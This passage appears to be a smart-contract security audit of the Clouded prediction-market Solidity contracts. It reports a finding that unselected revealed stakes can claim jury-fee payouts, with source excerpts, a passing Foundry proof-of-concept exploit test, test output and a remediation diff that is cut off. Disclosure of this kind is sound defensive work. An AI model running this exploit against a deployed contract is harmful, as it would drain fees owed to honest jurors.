                     emit TransferToken(_from, _to, _ids[i], traderOutcomeIds_[_from].isSet(_ids[i]));
                 }
             }
         }
     }
 
     function _getPriceAppreciation(uint256 _idTotalShares, bool _isBuy, uint256 _shares) private pure returns (uint256) {
         uint256 _sharesAfter = _isBuy ? _idTotalShares + _shares : _idTotalShares - _shares;
         uint256 _sharesAfterSquared  = _sharesAfter * _sharesAfter;
         uint256 _sharesBeforeSquared = _idTotalShares * _idTotalShares;
         return _isBuy ? B * (_sharesAfterSquared - _sharesBeforeSquared) * DECIMALS / 2 / 10000 : B * (_sharesBeforeSquared - _sharesAfterSquared) * DECIMALS / 2 / 10000;
     }
 
     function _getMarketWinningOutcome(uint256 _marketId) private view returns (uint256) {
         uint256 _currentOutcomeId;
         uint256 _winningOutcomeShares;
-        uint256 _winningOutcomeId;
+        uint256 _winningOutcomeId = markets_[_marketId].outcomeIds[0];
         for (uint256 i = 0; i < markets_[_marketId].outcomeIds.length; i++) {
             _currentOutcomeId = markets_[_marketId].outcomeIds[i];
             if (outcomes_[_currentOutcomeId].shares > _winningOutcomeShares) {
                 _winningOutcomeShares = outcomes_[_currentOutcomeId].shares;
                 _winningOutcomeId = _currentOutcomeId;
             }
         }
         return _winningOutcomeId;
     }
 
     function _getMarketTotalReward(uint256 _marketId) private view returns (uint256) { return markets_[_marketId].bondingPool + markets_[_marketId].prizePool; }
 
     function _calculateOutcomeReward(uint256 _traderShares, uint256 _pool, uint256 _outcomeShares) private pure returns (uint256) { return _traderShares * _pool * 9 / _outcomeShares / 10; }
 
     function _calculateAvgCost(address _traderAddr, uint256 _outcomeId, bool _isBuy, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgCost = traderOutcomeAvgCost_[_traderAddr][_outcomeId];
         if (_isBuy) {
             traderOutcomeAvgCost.avgPrice = (traderOutcomeAvgCost.shares * traderOutcomeAvgCost.avgPrice + _price) / (traderOutcomeAvgCost.shares + _shares);
             traderOutcomeAvgCost.shares  += _shares;
         }
         if (!_isBuy) {
             if (traderOutcomeAvgCost.shares <= _shares) {
                 _shares = traderOutcomeAvgCost.shares;
                 traderOutcomeAvgCost.avgPrice = 0;
             }
             traderOutcomeAvgCost.shares -= _shares;
         }
         emit TraderAvgCost(_traderAddr, _outcomeId, traderOutcomeAvgCost.avgPrice);
     }
 
     function _calculateAvgSell(address _traderAddr, uint256 _outcomeId, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgSell = traderOutcomeAvgSell_[_traderAddr][_outcomeId];
         uint256 _avgSell = _price / _shares;
 
         traderOutcomeAvgSell.avgPrice = (traderOutcomeAvgSell.avgPrice * traderOutcomeAvgSell.shares + _avgSell * _shares) / (traderOutcomeAvgSell.shares + _shares);
         traderOutcomeAvgSell.shares  += _shares;
 
         int256 _pnlPerShare = int256(_avgSell) - int256(traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice);
         int256 _totalPnl    = _pnlPerShare * int256(_shares);
         traderOutcomePnl_[_traderAddr][_outcomeId] += _totalPnl;
 
         emit TraderAvgSell(_traderAddr, _outcomeId, traderOutcomeAvgSell.avgPrice, traderOutcomePnl_[_traderAddr][_outcomeId]);
     }
 
     function _getMinRewardToWin(uint256 _shares, uint256 _totalPool, uint256 _totalPrizePool, uint256 _sharesAfterBuy) private pure returns (uint256) {
         uint256 _effectivePool = _totalPrizePool < _totalPool ? _totalPrizePool : _totalPool;
 
         uint256 _k   = B * DECIMALS / 10000;
         uint256 _kS2 = _k * _sharesAfterBuy * _sharesAfterBuy; // if k × sharesAfterBuy < 0.9 × poolAfterBuy / sharesAfterBuy, has guaranteed min profit to enter if won
         if (_kS2 * 10 >= _effectivePool * 9) return _calculateOutcomeReward(_shares, _effectivePool, _sharesAfterBuy);
 
         uint256 _numerator   = 18 * _effectivePool - 9 * _kS2;
         uint256 _denominator = 11 * _k;
         uint256 _equilibrium = _sqrt(_numerator / _denominator); // c(S_eq) = 0.9 × P_eq / S_eq --> P_eq = P₀ + k(S_eq² - S₀²)/2 --> S_eq = √[ 18(P₀ - kS₀²/2) / 11k ]
 
         return _shares * _k * _equilibrium;
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 }
\ No newline at end of file

Affected files

  • src/Clouded.sol
  • Clouded.sol

Validation output

[output truncated: 1181 lines & 64.5400390625 KB skipped]
Ran 1 test suite in 10.12ms (2.70ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: resolved outcome is not one of the market's valid Clouded outcome ids] test_zeroShareFallbackResolvesToInvalidOutcomeAndLocksPrizePool() (gas: 1864903)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Unselected Stakes Receive Jury Rewards

High#298505Validity: Unreviewed

Comment:

As designed.

Source locations

Uploaded archive/CloudedJury.sol (2 locations)

Lines 463-488 — _The claim branches and payout call accept revealed caller stakes without requiring selected-jury membership._

        for (uint256 i = 0; i < _tokenIds.length; i++) {
            _currentTokenId = _tokenIds[i];

            if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }

            if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                    _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                    if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                continue;
            }

            if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller

            if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }

            if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
            }

            _unstake(_marketId, _currentTokenId);

            uint256 _tokenReward;
            if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
⋯ code omitted for brevity ⋯

Lines 585-600 — _The winner denominator uses all revealed outcome counts and the full market stake set._

    function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
        Market storage market = markets_[_marketId];
        uint256 _juryOutcome              = market.juryOutcome;
        uint256 _marketChallengerToken    = market.challengerToken;
        bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;

        slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];

        if (_isChallengerTokenSlashed) {
            slashedTokens += _marketChallengerToken;
            _marketChallengerToken = 0;
        }

        winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];

        slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed

Uploaded archive/Clouded.sol

Lines 313-319 — _Clouded pays one fixed jury reward per claim using the supplied denominator._

    function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
        uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
        tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
        if (tokenReward > 0) {
            (bool _success, ) = _msgSender.call{value: tokenReward}("");
            require(_success, "Jury refund failed");
        }

Description

claimReward treats every revealed stake belonging to the caller as reward-eligible, regardless of whether the token was selected into marketJuryStakes_. The marketJuryStakes_ check at lines 480-483 only gates the wrong-outcome slash and the DAO emission; after that branch, every revealed token whose _outcomeOf equals the resolved outcome reaches _unstake and Clouded.claimJuryReward. The denominator passed to Clouded is also built from marketOutcomeCount_, which counts all revealed tokens for the outcome rather than only selected jury tokens. Consequently, a participant can stake and reveal many NFTs, have none selected, and still claim a share of the jury fee, while selected winners' per-token reward is reduced by those unselected stakes.

Root cause

Reward eligibility and reward-denominator accounting use all revealed market stakes instead of the selected marketJuryStakes_ set.

Impact

Protocol fee value intended for the selected jury is paid to arbitrary revealed non-selected stakes, and selected jurors receive a smaller share than the selected-jury accounting implies. An attacker can deliberately enroll a large number of NFTs and reveal the resolved outcome to dilute and capture the fixed jury allocation without being selected.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal trader = makeAddr("trader");
    address internal honestJuror = makeAddr("honest-selected-juror");
    address internal attacker = makeAddr("unselected-attacker");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        manager.addToWhitelist(honestJuror);
        manager.addToWhitelist(attacker);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(trader, 100 ether);
        vm.deal(honestJuror, 100 ether);
        vm.deal(attacker, 100 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
        uint256[] memory minted = jury.getUserTokenIds(creator);
        assertEq(minted.length, 5, "five jury NFTs minted");
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 100);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will the harness pass?",
            "Resolve YES if this Foundry PoC executes successfully.",
            outcomes,
            1,
            collateral,
            1,
            100
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function _asSingleton(uint256 tokenId) internal pure returns (uint256[] memory ids) {
        ids = new uint256[](1);
        ids[0] = tokenId;
    }

    function _findAttackerSaltSelectingFirstStake(bytes32 honestSalt) internal pure returns (bytes32 attackerSalt) {
        for (uint256 i = 1; i < 10_000; i++) {
            bytes32 candidate = bytes32(i);
            bytes32 randomNumber = honestSalt ^ candidate;
            uint256 selectedPosition = uint256(keccak256(abi.encodePacked(randomNumber, uint256(0)))) % 5;
            if (selectedPosition == 0) return candidate;
        }
        revert("no salt found");
    }

    function test_unselectedRevealedStakesCanClaimJuryFees() public {
        vm.txGasPrice(0);
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        uint256 winningOutcome = outcomeIds[0];

        vm.prank(honestJuror);
        jury.mint{value: 3 ether}(1);
        vm.prank(attacker);
        jury.mint{value: 12 ether}(4);

        uint256[] memory honestTokens = jury.getUserTokenIds(honestJuror);
        uint256[] memory attackerTokens = jury.getUserTokenIds(attacker);
        assertEq(honestTokens.length, 1, "honest juror has one stake token");
        assertEq(attackerTokens.length, 4, "attacker has four stake tokens");

        // Stake order is public and deterministic.  The honest juror stakes first, so
        // marketStakes_[1][0] is the honest token.  These salts make selectJury's
        // first and only draw select position 0, leaving all four attacker stakes
        // revealed but not selected into marketJuryStakes_.
        bytes32 honestSalt = bytes32(uint256(0xA11CE));
        bytes32 attackerSalt = _findAttackerSaltSelectingFirstStake(honestSalt);
        bytes32 honestCommit = keccak256(abi.encodePacked(honestJuror, uint256(1), winningOutcome, honestSalt));
        bytes32 attackerCommit = keccak256(abi.encodePacked(attacker, uint256(1), winningOutcome, attackerSalt));

        vm.prank(honestJuror);
        jury.stake(1, honestTokens, honestCommit);
        vm.prank(attacker);
        jury.stake(1, attackerTokens, attackerCommit);

        vm.warp(startAt + 1 days);
        vm.prank(honestJuror);
        jury.revealOutcome(1, winningOutcome, honestSalt);
        vm.prank(attacker);
        jury.revealOutcome(1, winningOutcome, attackerSalt);

        jury.selectJury(1);
        vm.warp(block.timestamp + 1 days);
        jury.resolveMarket(1);

        uint256 honestBefore = honestJuror.balance;
        vm.prank(honestJuror);
        jury.claimReward(1, honestTokens);
        uint256 honestReward = honestJuror.balance - honestBefore;
        assertGt(honestReward, 0, "selected winner receives jury fee");
        assertGt(dao.balanceOf(honestJuror), 0, "selected revealed stake receives DAO emission");

        uint256 attackerDaoBefore = dao.balanceOf(attacker);
        uint256 attackerBefore = attacker.balance;
        vm.prank(attacker);
        jury.claimReward(1, attackerTokens);
        uint256 attackerReward = attacker.balance - attackerBefore;

        assertEq(attackerDaoBefore, 0, "attacker starts with no DAO emission");
        assertEq(dao.balanceOf(attacker), 0, "attacker was not selected into the jury set");
        assertGt(attackerReward, 0, "unselected revealed stakes still receive jury fees");
        assertEq(attackerReward, honestReward * attackerTokens.length, "each unselected attacker token drains one jury-fee share");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1142 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_unselectedRevealedStakesCanClaimJuryFees() (gas: 4428629)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.37ms (4.37ms CPU time)

Ran 1 test suite in 10.81ms (6.37ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC passed with forge test --match-path test/Poc.t.sol -vv using strategy unit:test-poc-t-sol. It demonstrates the unchallenged settlement path: one selected revealed juror receives DAO emission and a jury-fee share, while four revealed attacker stakes that were deterministically not selected receive no DAO emission but still receive native jury-fee payouts through the real CloudedJury.claimReward -> Clouded.claimJuryReward path. The PoC does not cover challenged DAO-voting settlement, but the demonstrated vulnerable branch is the reported unselected-stake payout path.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Restricts per-token jury-fee claims to selected marketJuryStakes_ winners and uses selected winning jury counts, plus a successful challenger if present, as the reward denominator. Revealed unselected stakes keep their normal unstake path but receive no fee.

Patch

diff
diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,646 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
